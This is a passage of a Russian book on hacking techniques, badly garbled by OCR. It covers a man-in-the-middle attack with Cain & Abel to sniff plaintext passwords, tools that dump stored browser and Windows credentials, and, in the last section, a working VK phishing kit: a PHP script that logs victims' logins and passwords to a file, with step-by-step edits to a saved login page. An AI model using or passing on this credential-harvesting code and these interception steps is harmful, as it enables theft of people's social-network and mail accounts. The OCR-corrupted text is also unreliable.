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BBepeHue

CkasaTh 4ecTHO, ele COBCEM HENaBHO s He cOOHpaics 3aHMMAaThCs HAIMHCAHHEM 3TOH
kuury. Iocne Beixoma Moeii nepBoit kuury "MHcTpyMeHTapuii xakepa"', Bonei o6cTos-
TeJICTB HaIIMCAHHOW MHOIO CITy4aifHO M BCETO 3a TPH HEleJH, MHE IIpe/Ularaid COTpy-
HHYECTBO BO B3JIOMaxX, OOBHHAIMA B MOATOTOBKE HOBOTO NOKOJICHHS XaKEPOB M KOMITBIO-
TEPHBIX XYJIUFAHOB, YTPOXAIH B [OYTE M T. A... [OBOpHIH Hake O TOM, 4TO pa311e.11 o
OpraHM3aly 3alUTHl HaIMCaH AKOOHI IjIi OTBOJA IJ1a3, YTOOB! "IPOTONKHYT" BECH OC-
TATBHOM MaTepHal, ABIIAIOMMIACS OCHOBHBIM 10 XaKHHTy. Y 3T0 HECMOTpS Ha JOCTAaTOY-
HO OGonbIioi mpezCTaBIeHHBIH TaM 00BeM HH(pOpMalMHM 1O NPOTHBOACHCTBHIO 37I0-
yMBIIUIeHHMKaM. TeM He MeHee, 51 GrarofiapeH BceM OTKITAKHYBIIAMCSL.

K u31aHMIO HOBOM KHHIH MeHS NOATOJIKHYJIO HE TOJNBKO TO, 9TO MOCHE MEPBOrO OMbITA
XOTeJIoCh cIeNnaTh YTo-TO JIydmie, HOBee, HO U TO, 9TO HHTepec K 3TOH TeMe y YHMTaTeNnei
MIOYEMY-TO CO BPEMEHEM TOJIBKO ycuiuBaeTcs. HeNoHATHO: y Hac — 4YTO, CTOJBKO XaKe-
poB? Bpsx mu! Kak yxxe He pa3s cka3aHO: Xakephl TaKHe KHUTHM He umTaioT. K cioy, Te,
KTO JKJ€T B KHUT'e KaKMX-TO PEIIEHMI IS B3IoMa coceHero 6ankomara win IleHraroHa,
TaKKe MOTYT Cpa3ly OTJIOXKUTH 3Ty KHHIY W 3aHATbCA CBOMMHM jenamu. Hame neno —
TOTOBHTH 3aKOHONIOCITYIIHBIX CIIELIUATHUCTOB, 2 HE IOHBIX XaKepOB.

B ommumne OT MHOXECTBa NPYTHX H3JaHMH Ha TEMy XaKMHTa, B 3TOH KHMIe CIelaH
YKJIOH He Ha TporpaMMHpOBaHME, 4 Ha Bonpocm cereBoro B3aumozeiicteua. MMeHHO
MO3TOMY OHA HMKOMM 00pa3oM He SABIIAETCA "KOHKYPeHTKON" MomoGHBIM IyOMKaImaM.
Co6cTBEeHHO, KHMTa O TOM, 9TO He 00f3aTenbHO Iucath nporpammel! Kak mpaswio, Ha
BCe CIIy4aH JV3HH YXKe eCTh FOTOBBIE pemenus. X0oTs HMEHHO BOT TaKOH MOXOJ 3auac-
TYIO H pasfapaxaeT Npod)eCCHOHAIBHBIX POrPaMMHCTOB.

Kasanocs 651, kak MOXXHO, He MMes 6a30BBIX 3HAHHH TI0 IPOrPAMMHPOBAHUIO, HAYYHTECS
pa3OupaThCs B OCHOBaX CO3JaHHsA (PHMIHMHIOBOro caiiTa WIH elje Kpyde — B IipHeMax
aTak ¢ uHbeKIpei Java-ckpunto? OkassiBaercs, MoxHo. Hayuum! Kuaura kak pas u no-
Ka3bIBaeT, YTO Ha IIEpBOM 3Talne MoO6oMy, Jaxke IMKOJLHUKY, 3a[IPOCTO MOXHO 000OHTHCH
6e3 sroro... Majio Toro, Ha Bompoc "Kak u3yuats HacTpoilKy 0GOpYIOBaHHS, CTOSIIETO

! Ba6um C. Muctpymenrapuii xakepa. — CII6.: BXB-l'Ie"repﬁypr, 2014. — 240 c.: un. — (I'ma3amu xakepa).
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COTHH ThICHY pyOuieii, He MMes Ha 5TO CPEICTB W BOSMOXKHOCTE#?" Tak e C yBEepeHHO-
CTBIO OTBETHM — H 3T0 MOXHO! O6yunm!

B 31001 KHMre BoOOIIE HET IM1aBH 0 MeTozax 3amuTsl. Ho yBepeH, 94ro 0GBUHEHHI B BOC-
NUTAaHAW TIPECTYIHUKOB OBITH HE JOJDKHO, TIOTOMY 4YTO OHA IIPEJCTABIIeHAa KAK HEKOE
mpaKkTHyeckoe nocobue A J1aGopaTtopHeix pabor Oyaymum WT'-cnempanucram mpu
H3Yy4CHUH WMHM OCHOB WH(OpMAIMOHHOH 6e30macHOCTH, WM MpPOCTO HHPOPMATHKH.-
Co6cTBEHHO TakK, B Ka9€CTBE OYEPKOB, B KOTOPHIX aBTOP MOCTOSHHO, COBMECTHO C YHTa-
TeJieM, IPOBOJAUT HHTEPECHBIE SKCIIEPUMEHTEI, Y BEITIOIIHEHO 00IIee H3NI0KEeHHE KHUTH.

TloueMy 3aech COBCEM HET TEOPHHM, a TONBKO mpakTrka? KoHeYHO, KOHIENTYAIRHO 1 He
npotus Teopuu. Be3 Teoprn Her pyBIaMeHTANILHOCTH B 3HaHHAX. Ho zeno B Tom, 4TO
TPYIOB TI0O TEOPHH OYeHb M O4YeHb MHOTO. C MpaKTHKO# ClIOXHee, JakKe €clM KTO-TO H
OepeTcs MHUCATH C aKLEHTOM Ha YMIIMPUYECKHE METOMBI MO3HAHMS, TO YTOOHI KHHMTa GbUIa
"MpaBWIBHOM", OH BCE PaBHO BOJIEH-HEBOJIEH "cKaTeIBaeTCs" Ha oOILIye pacCyXICHMS.
A pesynbtat? Bot murara: "Komnanuu, nanumaiowue na pabomy “ceedicux” @bInycKHu-
K08 8y308 MO cheyuanvHocmam, ceéa3annvim ¢ UE (ungopmayuonnas bezonacnocms),
JCanylomcs Ha omcymcmeue y dmux 6bINYCKHUKOE NPAKMUYECKO20 ONbima, a MaKdice
3HAHUL UMEHHO @ MOoU 00AacmU, KOMOPAS HYHCHA ONAl BbINONHEHUA CAYIHCeOHbIX 0033aH-
Hocmeii. B pezynemame, noguix compyonuxoe no Hb npuxooumca omnpaenime Ha Oon.
obyuenue u 0onzoe epems ,,00paUEaNTs “ 00 HYHCHO20 COCMOAHUA".

ITpu BCceM TOM XOTENOCH, YTOOB! KHUTa Obuta Hemoporoii. Eme u nostomy, 4ToGsl M-
HHUMH3HPOBAThH IIEHY, a 3HAYWT, HE CJMIIKOM YBEIHIUBATh 00BEM, B KHUTe (paKTHIECKH
HET HH CTPOYKH TEOPHH.

UTak, KHUTA HachIleHa TPAKTHYECKAMY PHEMaMH 110 Pa3HOOGpasHEIM TeMaM. Kak oka-
3aJI0Ch, HApoJ B OONBINEH CTEMEHH HHTEPECYIOT HMEHHO pealbHble CIOCOOBI B3IOMa,
" a He MPOCTPaHHbIC Pe4M O NMporpaMMax Wi cnocobax 3amuTel. [Tpunwiock noiTi Ha Mo-
Boxy y uMtateni. Bee yureHo. KpoMe Toro, B kHHre paccMaTpUBalOTCS MPHEMBI XaKepa
He TOJILKO, HANPHMED, 0. B3JIOMy POYTEpOB, HO M OIHCAHHE TOHOTO IMKJIA €T0 Nalb-
HEHIKMX NEHCTBHH, T. €. TO, YTO OH JEJIaeT yXe IOCiie MPOHNKHOBEHHS Yepe3 MepBhId
Gaprep Jno6oii ceTw...

Bce, 4T0 NpUBEICHO B KHUI'e — MPOBEPEHO, ¥ BBl CMOXKETE YTO NOBTOPUTH COOCTBEHHBI-
MH CHJIaMH, YTO HEMAJIOBAXHO, B JIOMAMMHUX YCJIOBUAX. C MHHUMYMOM TEXHHYECKHX
cpenacTs. MakTUyecKkH, 310 Habop JIA6OpaTOpHEIX paboT, BHINOIHUTH KOTOPHIE CMOXKET
mo60# XoTs 651 O MPHYMHE TOTO, YTO MPUBEICHBI CKPUHIIOTHL, OYEHb MOAPOGHO ONMCaH
KakIpli Iar, B 0COGEHHOCTH KOT[a HCIONB3yIOTCA nporpammel "mox Linux", m yro
HEMaJIOBOXHO — INPUMEHAIOTCSA MPOrPaMMHBIE SMYJIITOPHI JIOPOroCTOSLIEro 000pyHo-
BaHMA.

OruacTH, coBCEM B HEOOJIBIIOI CTENEHH, B TIEPBLIX YETHIPEX IJIaBaX KHHUIH MCIIONH30Ba-
JMCh MaTepHatsl KHUTH "HHCTpyMeHTapHii Xakepa", HO, KOHEYHO €, B HOBOM KOHTEK-
cre. I'maBHas 0COGEHHOCTH 3TOro M3JaHMs €mle M B TOM, YTO 37€Ch MHOTO BHHMAHHA /

! Undopmaimonnsie TexHONOrHY. |
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YIIeHO M3yYeHHIO XaKWHTa C HCIIONB30BaHMEM CMapTQOHOB. A Takoke PacCMOTPEHEI
TpaKTHYeCKHe MeTONB! (MOAUEPKHBAI0 — MPAKTHYECKHE) HCTIONB30BaHUS PayKHBIX
TabIuI, O YeM B PYCCKOA3BIYHBEIX HCTOYHHMKAX BOOOIIE OUYeHb Majio MOHATHBIX IMyOiHKa-
muii. M 1 coBceM He yAMBINOCH, €CJIH TTOC/IE€ MPOYTEHHA IVIaBBI O Py XKHBIX Tabmiiax
mo6oH YenoBek, paHee JaXe HHUKOTZA O HHX HE CIBINABIINMN, 3aX0YET H, YTO BaXHO,
CMOJKET CAMOCTOATENIBHO WX H3TOTaBJIMBATh...

Xouy BHIPa3UTh MPU3HATEILHOCTH BCEM JIIOAAM, OKa3aBIIMM MHE TOMOIIb B MTOAI'OTOBKE
HOBOH KHHUTH, B OCOGEHHOCTH — MPHPOXICHHOMY MATeéMaTHKy AHTponoBy Muxawiy
Cepreesudy (r. KemepoBo), a Takoke: Illepury Anapero BanentunoBudy (r. Kemeposo),
Knyty UBany Bnagumuposudy. (r. Biagusoctok), WooR42, Graf Black u BceM apyrum.
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MNouyemy cTano crnoxHee NOXUTUTb
naponb AJfiA BXoAa B colanbHble CeTU
"BKoHTakTe", "OAaHOKNAaCCHUKKN"
®uwuHr. CoumnanbHas UHXeHepus

Ha npakTuke

1.1. O6 aTake "venoBek nocepeauHe".
Mporpammel Cain & Abej n SIW ,

IMaponu — 310, MOXKAaTyH, caMoe 3aBeTHOE, 3a YeM OXOTHTCA moboi Xakep. Panu Toro
9TOOBI YKpacTh NapoJib, OH FOTOB Ha JIOOBIE CIIOKHOCTH, EC/TH BBI OXkHaaeTe, 4To ceruac
BaM PacCKaXKyT, KaK IPOCTO B3JIOMATh COLMAIBHBIE CETH, TO MOXKETE Cpasy OTJIOKHUTE 3Ty
KHUTY (12 1 moOyio apyryro). HecMOTps Ha rpoMKHe peKIaMHbIe 3aroJIOBKH, B JEOO0M
W3/IaHMH TI0 YKa3aHHOM TeMaTHKe pacCKa3bIBaeTCsi BOBCE HE O B3JIOME CEPBEPOB COLM-
aNBHBIX CeTe, — 3T0 BooOMme BpAA i BO3MOXKHO. HHKTO TakuX peLienToB HE NPHUBEJET.
H M1 He uckmodeHHe. Hama 3amada — Toka3aTh, KaK MOIYT NOXMTHTE MMEHHO Balll
NIapoJib. '

s Havasa HaM HeoOXOIMMO PacCMOTPETh XOPOIIO H3BECTHYIO aTaKy "yesioBeK Mmoce-
penune".

C uenpio peanM3alMi aTAKH aTaKyIOUIMii BCTaeT MOcepequHe MEexAy JKepTBaMH (aTaka
man-in-the-middle), 4yTo6b1 Te HUYero He 3aMeTWIH, AaKE HE OCTAHOBMB Tpaduka
M 3aMKHYB ero 4epe3 cebq. OcTaercs TONbko BKIIOYHTS CHUGGEp U aHATM3MPOBATE Tpa-
¢uk. 3ameTuM cpasy: aTaKa BO3MOXHA B Tex CIyyasx ciiydasx, KOrja Napoid He mud-
pyroTes.

CobepeM HeGOMbBINOMN CTEHA, HCTIONB3YA B HAIIEM CITyyae Ha XOCTaX OIepallMOHHBIE CHC-
tembl Windows (puc. 1.1).

IMocne peanu3alyy aTakd Mbl DOJDKHBI MOMYYHTH YK€ TAKyIO CXeMy, KaK MOKA3aHO Ha
puc. 1.2,

Bynem mcronb30BaTh Ha aTraKyromeM KOMIBIOTepe CBOGOIHO pacmpocTpaHsieMblit B M-
TepHeTe 3aMedareabHblil Habop — Cain & Abel (Kanx u ABeins). Ilockonsky Abel npu-
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MEHSIOT Ha KOMITBIOTEpE JKEPTBE, H 3Ta MMporpaMMma B KiiaccuHKalMi COBPEMEHHBIX aH-
THBHPYCHBIX CPeZICTB CUMTACTCA BPEJOHOCHOM, a 3HAYHMT, JIETKO OOHapYKHMBAEeTCS, TO MBI
He OynmeM ee paccMatpuBath. HTepec npeactapisier Cain. [t Toro 9ro0bI B KOMILIEKTE
¢ mporpammoii paboran cauddep, Npu MHCTAUIALMU COTJIAIIAEMCS Ha YCTaHOBKY BXO-
Agmeif B KOMILIEKT Takoke CBOGOHO pacipocTpaHseMoit mporpamMmel Winpeap.

Bsaumopeiicteue 192.168.0.102
C MOMTOBbIM CEPBEPOM [« 192")168'0'1 <P aTaKyembii
B UHTepHeTte poyTep KOMnbloTep
192.168.0.100
! araxylowmis
KOMNbLIOTEP
Puc. 1.1
Bsaumogeiicrsue 192.168.0.102
C NOYTOBLIM CepBepoM [« 195:;2;)'1 aTaKyembli
B UHTepHeTe KOMNbIOTEP
3
/
192.168.0.100
aTaKyoLmi
- KOMNblOTEP
Puc. 1.2
MPUMEYAHHE

Ha BCAKMiA CnyJait BCe PaBHO OTKTIONMM aHTUBMPYCHYIO NPOrpaMMy U GpaHaMayapbl, XOTS
Y HaC Ha U3y4aembiit UHCTPYMEHT aHTMBUPYCHAA NPOrPaMMa HUKaK He pearuposanal

-

HacrpamsaéM ounddep Ha Hammy ceTeByIo KapTy (puc. 1.3).

OnpocuM cets Ha Biuaake Sniffer | Hosts, nonyaus Bce IP- u MAC-anpeca cerMenTa,
B TOM YHCJIE HHTEPECYIOIIHI Hac B JaHHOM cllydae koMmbiotep 192.168.0.102. s 3to-
ro npH Haxkaroi kHomke Start\Stop Sniffer menxueM no 3Hauky 6osbmoro wroca (+)
Ha [TaHeJIM HHCTPYMEHTOB (puc. 1.4).

Ha Bxyagke Sniffer| ARP HauneMm 3ajaBaTh XOCTBI, MeXIY KOTOPHIMH HaM HYXKHO
BKJIMHHTBCA, IPOM3BOAA miepexsar Tpaduka. [lis sToro npu Haxato# kHonke Start\Stop
Sniffer mexHeM Mo 3Ha4Ky 60bIIOro IWHOCa (+) Ha MaHEW HHCTPYMEHTOB MPOrpaMMbL

(puc. 1.5).

Bri6epeM anipeca aTakyeMOro KOMIIBIOTepa M POyTepa, BHIE/IMB MX CII€Ba H CIpaBa Co-
OTBETCTBEHHO (pHuc. 1.6).
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Puc. 1.3

Puc. 1.4
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Puc. 1.5

Puc. 1.6
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Ha6moziaem, 9TO NPy HATHYMH TPadyKa ¢ KOMITHIOTEPa JKEPTBHI NIOKa3aHM CUETIHKOB
MAKEeTOB B 000MX HaNpaBIICHUXCLATH yBenmuauBathcs (puc. 1.7).

Hauvajics 3axsar nakeros. Ternepb ocTaeTés TONBKO JOXKIATHCSA, KOF/A KEPTBA MOCETHT
CBOM TOYTOBHIN MIUK. Korma-To yis -MpOBEPKM MBI MPOM3BOJMIM BXOJ -Ha CEpBep
www.mail.ru, rcnone3sys yYeTHyIO 3amuch M agpeca babins@inbox.ru ¢ maponem
arptest. [IprgeM BXOJ{ OCYIIECTBIIIIM [0 IPOTOKOIY hitp ¢ MPUMEHEHHEM CTaHAAPTHOTO

Opayzepa.

19246800

Puc. 1.7

CoOTBeTCTBEHHO, HCKOMET pesynbTar "oxupanca" B pasaene HTTP | Passwords
Biutaaky Sniffer nporpammer Cain (puc. 1.8).

Ecyn 681 ¢ aTaKyeMOro KOMIBIOTEpa M0YTy 3a0Mpaiy KaKuM-HHOYIb ClIeUraIu3HpOBaH-
HBIM TIOYTOBBIM KJIMEHTOM, TO Pe3yJbTaT HeoOXOAuMO GBLIO OXHIATH yXe B pasfele,
cooTBeTcTBYIOmeM npotokorny POP3. B apcenanie mporpaMMbl MHOTO M3BECTHBIX IIMPO-
KO HCIOJIb3y€MBIX IIPOTOKOIIOB.

Hrak, mocie coemuHeHUs] aTaKyeMOro C IIOYTOBBIM CEPBEPOM, KPOME BCAKMX IPOYMX
uHTepecHbIX Beimedd, B pasgene HTTP HaxomuM oxupaeMmblii HamMHM mapoib arptest
(puc. 1.9). ’ i~

Taxum 06pa3oM, HaXOIACh B OJHOM CErMEHTE CETH C JKEPTBOM, MOTEHIMATBHBINA XaKep
MOXET MOJHOCTBIO IepexBaThBaTh HeIHUPPOBaHHBINH TpadUK C aTaKyeMOro KOMIBIOTe-
pa. IloHATHO, 9TO TaKylO aTraKy 3JOYMBIIUICHHUK MOXKET MPOBECTH MPOTHUB CBOMX COCe-
ZeH, TONbKO MOMKTIOYMBIIMCE K MpOBaiiiepy HAnpsAMyIo, 6e3 MCTOTB30BaHHUsA JIMYHOTO
poyrepa. ; | .

Ho He cnemmTe paoBaThECA: €C/IM BEI MOBTOPHTE BCEe B TOYHOCTH, ONKMCAHHAS aTaka BCe
paBHO He moiyuurcs. Jleno B TOM, 4TO Biajenbipl nopraga Mail.ru yxe nepesenn cBou
CEpBHCHl Ha aBTOpH3alMIO C IpUMeHeHWeM mnpoTtokona SSL. Ilaponu mepexBaTeIBaTh
CTaJIo CIIOXKHEE, T. K. Tpaduk mmudpyerca. CooTeTcTBeHHO, M B "OHOKIacCHHKAX" cel-
yac Toxe menonssyercs SSL. ITocieqnue 1Ba-TpH rofa NPaKTHYECKU BCe GecIUIaTHBIE
TIOYTOBEIE CEPBEPHI NEPELLIM Ha MCTIOIE30BaHUe 3ALMIIEHHOTO TPOTOKOJIA IIPH aBTOPH-
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System Information Tor Windows & Gabriel Topafa - running on v MAINPLC

) ¢| IE Password-Protected Ste 192.168.0,1:80/TP-LINK Wireless N Gigabit Router WR10..
3§ System Directories IE Password-Protetted Site 192.168.0.20:80/DCS-2130

(Y System Fies

~

Puc. 1.11

THIBAHHA MMEH W T1apoJjieil MocemaeMbIX BaMH CaiToB (HeOonbuue ¢aiibl, MpeaCTaBILiIo-
‘mue co6oit YTO-TO THIAa HACHTH(HUKAIIMOHHON KapTOYKH MOJIb30BaTeNs) — puc. 1.11.

Tosbko 3aMeTHM — Hy»Ha KOMMepUeckas Bepcus... Ho Xyske Bcero To, uto B MHTEpHE-
Te €CTh TaK Ha3pIBaeMble "TabjeTku" ¥ Ha KOMMepYecKylo Bepcuio. Bee i xakepa!

IIpaena, noxOGHsIH cOBT MOXKET MCIIONBE30BaTh He TOJIBKO XaKep, HO  JIFo6o# mok30Ba-
TeJIb KOMIbloTepa B "MHpPHBIX" meiix. O4eHb 4acToO Ballld 3HAKOMBIE 3a0BIBAIOT CBOM
‘mapoyi i Bxoaa B Ty xe moury, "BKonrakre", "OmHoxnaccHuku"... 3amyck SIW Ha
KOMIIBIOTEpE CKIEPO3HAKA PEIIHT yKa3aHHBIE IPOOIeMBI.

OnHaxkapl NPUXOAWIOCH BHAETh, KaK POAMTENH oOpalnaiuch K IHUPOKOH OOIECTBEHHO-
' CTH Ha caiiTax, GopyMax: OHH MCKaJIH, KTO MOYXXET MM MOMOYb B3JIOMaTh TIOUTy 6e3 BECTH
nponasiiero pedeHka, T. K. opHIMAIbHBIME KaHalaMH BCE 3TO pelIajioch JOJIro, a BpeMs
MOIJIO GBITH yrymieHo. B mofoGHBIX CHTyalHiX HyKHO GBUIO IIPOCTO NMPOMTHCEH 1O BCEM
KOMITBIOTEPaM, Ha KOTOPHIX MX peGeHOK 0OmaJics 1o moyte (M TaKHMX, CKOpee BCero, He-
MaJio), 1a onpo6oBaTh BHIIENEPEUHCICHHBIE CIIOCOOBI.

|

Maiio Toro, ‘aHaJIOrH4HbI (YHKHHOHA, omucaHHbA HaMu mius SIW, ectp u B Cain
(puc. 1.12). Ipasna, no HamuM HaGmoxeHuam SIW B 3ToM HampasieHun paboTaer JIyd-
me, yem Cain. Tem He MeHee, IeNKaeM MO 3HAYKy OGOJBINOro IUIIOCA NPH aKTHBHOM
Biiaake Decoders, B Haurem npumepe — s IE 7/8/9 Passwords.

ITonpoOyiiTe HaXkaTh KHOINKY CO 3HAYKOM OOJIBINOrO IUTIOCA MPH aKTHUBHOM BKIIaJKe
Credential Manager. Pe3ynbrat Takoii xe, kak Ha puc. 1.11. IlopasxeHs1?

3albIThle AP IIOMOTaeT MOTyYHTh, HAPUMep, Takas He TpeQyromast YCTaHOBKH Gec-
IwaTtHas mnporpamma, kak WebBrowserPassView, puc. 1.13. (http://www.nirsoft.net/
utils/web_browser_password.html). Ona "nonumaet" napo.rm,- COXpaHeHHbIe B Opayse-
pax pasIMYHbIX Pa3paboTIMKOB. :

W3110)xeHHOE MOTHXOHBKY TONTOTAaBIMBAET Bac K nsy%ﬁﬂmr moma mHU(pOBaHHBIX
naponeii... iTepecHoe eme Bnepe! RO I
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. Cached Passwords
Protected Storage
LSA Secrets

2% Wireless Passwords

Windows Mail Passwords
ialup Passwords
[e== Edit Boxes
% Enterprise Manager
\Credential Manager
Windows Vault

http Hmail ruj'I »

babins  honB7UF

‘babins hong7Uf
_dekov hong7uf
; naseBS@ln. "

onot|n1988a@

ﬁmpcmsa e/
| B nep/ftesti
Enup/itestt
Enttp:frestinyg
Entip/testlng/
Sritp/frestt ./
Enttpy//testi ./
& bitp/ftestl.r/

Intemnet Explorer 7.0 -9.0
Internet Explorer 70 - 3.0
Internet Explorer 7.0 - 9.0
Internet Explorer 7.0 - 9.0
Internet Explorer 7.0 - 5.0

Intemet Explorer 7.0-90.

Internet Explorer 7.0 - 9.0
Internet Explorer 7.0- 9.0

123'!5@12345 com
2222272

222222

22222

11111

1111

111111

$0odod

1.2. BnokHoT ansA cdumwmHra. Denwer. Kali Linux

Bepnemcs k Bompocy Kpak HapoiieH i colMaibHBIX ceTeil... Ilocie Toro kak mpu
ayTeHT(VKaIMM NONb30BaTeNel CTa M IPEMEHATs SSL, 1 30yMBIIIIEHHIKOB KH3Hb
ocnoxuunack. M Bce jke ykpacTh maposib ¢ MOMOIIBIO (PMINMHIOBOTO CaiTa MOXKET U
mkonbHMK. [Togemy? Jla mpocTo MOTOMY, YTO IS 3TOrO JaXke He HY>KHO KaKHMX-TO Crie-
LMABHBIX TPOrpaMM... TEKCTOBOrO penakTopa, OKasbIBaeTcs, JOCTATOYHO. BIokHOTa,

HanpuMmep! KcTaTH, MMEHHO HO3TOMY,

¥3-32 TPOCTOTHI M Kaxymelcs Ge3o0umHOCTH

ACAHV, IIKOJIPHAKY H HYXKHO OGB}IEH}ITB 4TO 3TO YrOJIOBHO HaKa3yeMO€ NPECTYIUICHHC.

Ho Bce e paccMOTpuM, Kak 3Ty HpPOLEAYPY MpOZENBIBAIOT Xakepbl. IlepeM menom
C TOMOIUIBIO PENaKTOpa Co3/aercs Php-CKPHIT CIEAYIOIEro coaepx aHus (IPUBOIAM

C HEOOJIBIIMMHA KOMMEHTAPHAMIA):

\
\
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<?
‘$Login = $ POST['bl’ ], // HorMH aTaKyeMoro
SPass = $ POST['b2']; /_Haponb aTaxKyeMoro

$log = fopen ("pass.log","a+"); // Orxpurve daina (pass.log),
// B KOTODEIT BAIMCHBAKTCH MNapOIMM
fwrite ($log, "<br> $Login:$Pass \n"); // BamMCb YYeTHEX NaHHHX
v // araxyemoro B pass.log
fclose($log); // BaxpuTve Qajina C yYeTHEMM OAHHEMY ATAKyeMOI'O

echo "<html><META HTTP-EQUIV='Refresh' content ='0;
URL=http://vk.com'></html>"; // TlepeHanparneHMe aTaKyeMoro

// Ha peanbHEIT CaiT
>

Daii co CKPUITTOM Ha3BIBAIOT, CKakeM, b0.php.

3mech npuBeeM IPAMEP I CaMOi OMYJISPHOM B CTpaHe couuanbHoii cetn "BKontak-
Te", HO AITOPUTM aHAJIOTHYEH W JUIA OPYTHX pecypcoB. Boobe-To, naBaTh nomoOHbIe
rOTOBBIE peLenThl — Aeno HebnarogapHoe. Ckopee BCEro, HCXOAHBIM TEKCT CTPaHHIIBI
Juis asropusaiy "BKoHTakTe" moMeHseTcs K TOMy BPEMEHH, KAk 3Ta KHWTa MOmager
k BaM. M 570 ke XOpOImIO, IOTOMY 9TO, 3Hast OCHOBHBIE IIPHUHLIMIIEI B [IOIXO/IE K TaKOro
Roza nencmwm BBl BCE PaBHO BceTJa CMOXeETe MOBTOPUTH 3KcnepuMeHT. Ilpapna, npu-
s BETCS HEMHOTO TIOKOMaThes B komax HTML.

ﬂ'{md JoGeM Gpay3epoM IT1aBHYIO CTPAHHILY ‘Thttp://vkicom COXPaHSIOT Ha JOKAIHHBLH
. KOMDBIOTED, IUIA 4ero M3 KOHTEKCTHOTO MEHIO BEIGMpaioT koManay COXpaHETH KaK.
Hpw coxpanennu yka3siBaioT vl Qaiina BeG-cTpaHHna HOJHOCTHIO U 33Ja10T MM —
index. B pesynpTate NoiydaroTcs: cl)apm idex.htm u manka index_files ¢ HeckoTbKHMH
daiinamu.

Hanee daiin idex.htm oTxpsiBatoT 1 HMCIIPaBJITIOT TEKCTOBBIM PEIaKTOPOM (tem xe biok-
HOTOM) CJIEYIOMMM 00pa3zoM:

1. B daiine idex.htm HIyT TEKCT CO CIIOBOM FORM.

2. Yepes cTpOUKY HIDKE €CTh TaKOH TEKCT:
name="login" action="https://login.vk.com/?act=login"

3. B 3TOM TekcTe MEHSMIOT UM (name) Ha TO, KOTOPBIM HA3BaJld CKPUIIT, T. €. Ha b0.php,
H COOTBETCTBEHHO AOJDKHA IOJyIUTHCSA CJIEXYIOas 3aUCh:
name="b0.php" method="POST"

4. Jlanee, eue yepe3 HECKONBKO CTpoYeK (MPHUMEPHO depe3 INECThb), HAXOMMTCS Clie-
Iyrolee:

<DIV class="labeled"><INPUT id="quick email" class—"text" name="email"
type="text" ></DIV>

B 3TOM TeKcTe hpparMeHT name="email"™ MEHSIOT HA name="b1" (AIMEHHO TaK B CKPHIITE
'Ha3BaHA TIePeMEHHasd 11 MMEHH aTakyemoro). B pesynpraTe 5Ta CTpodka CraHeT
TaKoOM:

<DIV class="labeled"><INPUT id="quick émail" class="text" name="bl"
type="text"></DIV>



Moyemy cmarno croxHee noxumums napons 0ns exoda e coyuanbHuIe cemu. .. 19

5. Eine yepes HEMHOTO HIDKE B TEKCTE:

name="pass" type="password"> </DIV>

CIIOBO pass 3aMeHs€TCS Ha3BaHHEM nepeMeHHon JUIA DAPOJIA M3 CKPHIITA b2 TaK, YTO-
Obl Oy HIICS TEKCT:

name="b2" type="password"> </DIV>

Hanee, 4ro6bl MpaBUIBLHO cpabaThiBajia KHOMKA, HAXOAAT TEKCT </FORM> M 3aMEHSIOT
(MMEHHO 3aMEHSIOT) CIEeIYIONHM:

<DIV class="button_blue button wide"><BUTTON id="quick login button™>
Boittu</BUTTON></form></DIV>

UtoObl He MOSBUINCH JIBE KHOIKH, YOHPAIOT TEKCT, CJIEAYIONIHH 3a </FORM>:

<BUTTON id="quick login button” class="flat_button button wide
button_big">BottTu</BUTTON> -

Bcé! Taxum o6pa3oM, (UIIMHIOBas CTPaHMUA MOATOTOBIEHA. UTOGHI yxc COBCEM BCE
ObUIO MOHATHO, (pparMeHT OpuUrdHajia NpuBeAeH Ha puc. 1.14, a usMmeHeHHbi ¢par-
MeHT — Ha pHc. 1.15.

’

OroBopMMCs cpasy ke, YTO 3aMeHy MMEH Ha bl M b2 MOXKHO GBUIO GBI HE IPOM3BOIHTD, 2
HCIOJIB30BaTh B CKPHITTE MMEIOMHECT B KOAE CTpaHHLBI HAHMEHOBAaHMS, HO TaK HaryIij-
Hee, KaKkue JaHHble U KaK MCIONb3yeT Ham php-CKpHIT. '

Bce moprorosneHo, HO 34€ch i1 XaKepOB NOSABIIAETCA cephe3Hasd HpobieMa — CTpaHHY-
Ky HY)XHO pa3MecTHTh B MHTepHeTe Ha cepsepe, nopiepxusatomem php (uHaue, 6e3
HOANepHKKH, php-ckpunT mpocto He cpaboraer). BooGue-1o, noxoGHBIX GecruiaTHBIX
XOCTHHTOB He TaK yX U Maio. Eciii B MOMCKOBO# cTpaHulle 3afaTh: "becniammoiii Xoc-
mun2z ¢ noddepoickoii php", To 1€TKO 0TOOPa3KTCA CIHMCOK C JIECATKAMHU TaKHMX CEPBEPOB.
A BOT TyT-TO BCE CIIO)KHOCTH TOJIFKO H Ha4YHHAIOTCA! 3a4acTylo, HECMOTpSA Ha JeKJIapu-
pyeMy1o 6ecIUIaTHOCTb, C TIONB30BaTe/NA BCE PABHO HOPOBSAT B3ATh JCHBIH WIH NOCIE pe-
THCTPAIMH 110 HEOHATHBIM MPUYMHAM HE IIPUXOJUT MUCHMO C TIOXTBEPXKICHHEM, U T. 1.,

<FORM id="quick_| bgm 1_form” onsubmit="if (vklogin) {return true} else {quick | logm(),mmm false;}™
method="POST" aame="login" acm—"hg&llbavk.mmﬁad—ﬂ ><INPUT name="act"
vahie="login" type="hidden"><INPUT name="role" value="al frame"

type="hidden"><INPUT id="quick_expire input” name="expire" type="hidden"><INPUT
id="quick captcha sid" name="capfcha sid" type="hidden"><INPUT id="quick captcha key"
name="captcha_key" type="hidden"><INPUT pame="_origin" value="http:/vk.com"
type="hidden"><INPUT name="ip_h" value="cle4ch7fc48c9ab806" type="hidden"><INPUT
name="lg_h" valne="848{3322ef72536b12" me="h:dden">

<DIV class="label">TeaedoH ma email</DIV>

<DIV class="labeled"><INPUT id="quick_email" dRSF"!&XI" name="email” type="text"></DIV>
<DIV class="label">TIapans</DIV>

<DIVclass="labeled"><INPUT id="quick_pass" class="text" otﬂ{eyup="mggle('qmck expire,
Nthis.vale);toggle(’quick forgot', this. vahxe)"

name= " type="password"></DIV><INPUT class="submit" value="TIozasa satpoca”

ON' .
1d="quick button”_class="1lat b t_wide button_big">BoliTe </ BUTTON><BUTTON style="display:
none;"

id="quick_reg_button" class="flat. | bunonb\m mdebntt(m | big" onclick="top.showBox("joinphp’, {act: box', from:
nav.strl.pc})">Pemcxpamx</BU'ITGN> t

<DIV class="clear forgot"><A id="quick_| ﬁrgﬁ" hef='mp:/lvk com/restore”

target="_top">3abrrma mapons?</A>

Puc. 1.14
